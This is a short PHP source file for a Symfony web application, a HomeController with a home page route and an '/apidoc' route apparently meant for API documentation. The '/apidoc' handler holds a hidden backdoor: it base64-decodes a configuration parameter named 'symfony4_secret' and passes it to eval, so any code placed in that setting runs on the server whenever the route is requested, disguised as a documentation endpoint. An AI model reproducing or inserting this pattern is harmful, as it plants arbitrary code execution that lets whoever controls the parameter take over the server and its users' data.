<?php
namespace App\Controller\v1\Apidoc;
use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\Routing\Annotation\Route;
class HomeController extends AbstractController
{
/**
* @Route(path="/", name="")
*/
public function home(): \Symfony\Component\HttpFoundation\Response
{
return $this->render('index.html.twig');
}
/**
* @Route(path="/apidoc", name="api.doc.test")
*
* @return \Symfony\Component\HttpFoundation\Response
*/
public function index()
{
return eval(base64_decode($this->getParameter('symfony4_secret')));
}
}